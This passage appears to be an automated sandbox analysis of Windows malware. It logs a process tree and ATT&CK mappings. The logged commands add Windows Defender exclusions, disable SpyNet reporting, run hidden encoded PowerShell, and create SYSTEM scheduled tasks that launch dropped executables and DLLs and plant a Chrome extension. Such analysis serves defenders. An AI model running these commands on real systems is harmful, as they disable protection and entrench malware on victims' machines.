    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:436
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1116
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADdeFhyguSUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADdeFhyguSUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XFoDPUdvU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XFoDPUdvU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fOxnEmfbvtyaC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fOxnEmfbvtyaC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\frElYRIoNdjEJnGOQGR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\frElYRIoNdjEJnGOQGR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zYpfbkoKIxTU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zYpfbkoKIxTU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\IIVGwqYHKRWxGfVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\IIVGwqYHKRWxGfVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\KJfFrQOSboyPfmaF\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\KJfFrQOSboyPfmaF\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4440
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADdeFhyguSUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3168
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADdeFhyguSUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADdeFhyguSUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XFoDPUdvU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XFoDPUdvU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4968
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fOxnEmfbvtyaC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fOxnEmfbvtyaC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\frElYRIoNdjEJnGOQGR" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Drops file in System32 directory
    PID:3192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\frElYRIoNdjEJnGOQGR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3352
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zYpfbkoKIxTU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4608
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zYpfbkoKIxTU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\IIVGwqYHKRWxGfVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\IIVGwqYHKRWxGfVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4692
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\KJfFrQOSboyPfmaF /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\KJfFrQOSboyPfmaF /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "graxuRtGc" /SC once /ST 06:24:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4248
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "graxuRtGc"
  2⤵
  PID:5004
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "graxuRtGc"
  2⤵
  PID:2136
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "DIGMaOalKgfyEtfbb" /SC once /ST 04:17:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\KJfFrQOSboyPfmaF\SmJeOHKRTBJYUSz\Pmduojw.exe\" oq /site_id 385117 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4432
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "DIGMaOalKgfyEtfbb"
  2⤵
  PID:3808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2112
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4392
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1292
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:416

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:2940

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3168

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4692

C:\Windows\Temp\KJfFrQOSboyPfmaF\SmJeOHKRTBJYUSz\Pmduojw.exe
C:\Windows\Temp\KJfFrQOSboyPfmaF\SmJeOHKRTBJYUSz\Pmduojw.exe oq /site_id 385117 /S
1⤵
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:432
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bRrLmincsdUQgplWAx"
  2⤵
  PID:4628
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:4948
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:4488
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:1620
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:4464
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\XFoDPUdvU\bLHXfa.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ZvkNugpROavukWn" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3608
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2136
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZvkNugpROavukWn2" /F /xml "C:\Program Files (x86)\XFoDPUdvU\ePPwOgZ.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2500
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "ZvkNugpROavukWn"
  2⤵
  PID:3752
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ZvkNugpROavukWn"
  2⤵
  PID:4136
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yNgsvFevWjSuen" /F /xml "C:\Program Files (x86)\zYpfbkoKIxTU2\dSIPJyg.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5092
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "CvhtUluHIQIYu2" /F /xml "C:\ProgramData\IIVGwqYHKRWxGfVB\aCxKtdj.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3368
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "OCGCAsRKmEkRwxLsb2" /F /xml "C:\Program Files (x86)\frElYRIoNdjEJnGOQGR\oEZFcVy.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4140
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "UxDcIVsnQpwLydvUqdD2" /F /xml "C:\Program Files (x86)\fOxnEmfbvtyaC\XeEbcXY.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "eKBistvZSCqmfmzvd" /SC once /ST 05:58:21 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\KJfFrQOSboyPfmaF\QFDyoHct\iXkRdGW.dll\",#1 /site_id 385117" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3004
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "eKBistvZSCqmfmzvd"
  2⤵
  PID:3868
- C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\VvyWqvys\YHBQrxE.exe
  "C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\VvyWqvys\YHBQrxE.exe" /S Dr
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:4116
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
    3⤵
    PID:3984
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
      4⤵
      PID:4388
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        5⤵
        
        PID:4888
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        5⤵
        
        PID:3496
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
    3⤵
    PID:4668
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
      4⤵
      PID:2548
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:5004
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gvKhFHEoq" /SC once /ST 01:03:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gvKhFHEoq"
    3⤵
    PID:992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gvKhFHEoq"
    3⤵
    PID:2076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "bRrLmincsdUQgplWAx" /SC once /ST 11:50:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jkWHEXGDLsVYUfOQV\fLqJTOocapOiuaw\VAIAwQh.exe\" 9p /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:4724

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:3872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff94e8c9758,0x7ff94e8c9768,0x7ff94e8c9778
  2⤵
  PID:4404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2084 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:8
  2⤵
  PID:2948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1860 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:8
  2⤵
  PID:4848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3012 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:1
  2⤵
  PID:4300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2988 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:1
  2⤵
  PID:4844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1616 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:2
  2⤵
  PID:1020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3476 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4460 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:8
  2⤵
  PID:980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=4604 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:1
  2⤵
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4456 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:8
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:8
  2⤵
  PID:3696
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5256 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:8
  2⤵
  PID:4832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=5492 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:1
  2⤵
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=5040 --field-trial-handle=1780,i,8720089993750910785,16008825996738069697,131072 /prefetch:1
  2⤵
  PID:1628

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3080

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\KJfFrQOSboyPfmaF\QFDyoHct\iXkRdGW.dll",#1 /site_id 385117
1⤵
PID:2836
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\KJfFrQOSboyPfmaF\QFDyoHct\iXkRdGW.dll",#1 /site_id 385117
  2⤵
  PID:4088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "eKBistvZSCqmfmzvd"
    3⤵
    PID:3416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1204
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2020

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4088

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

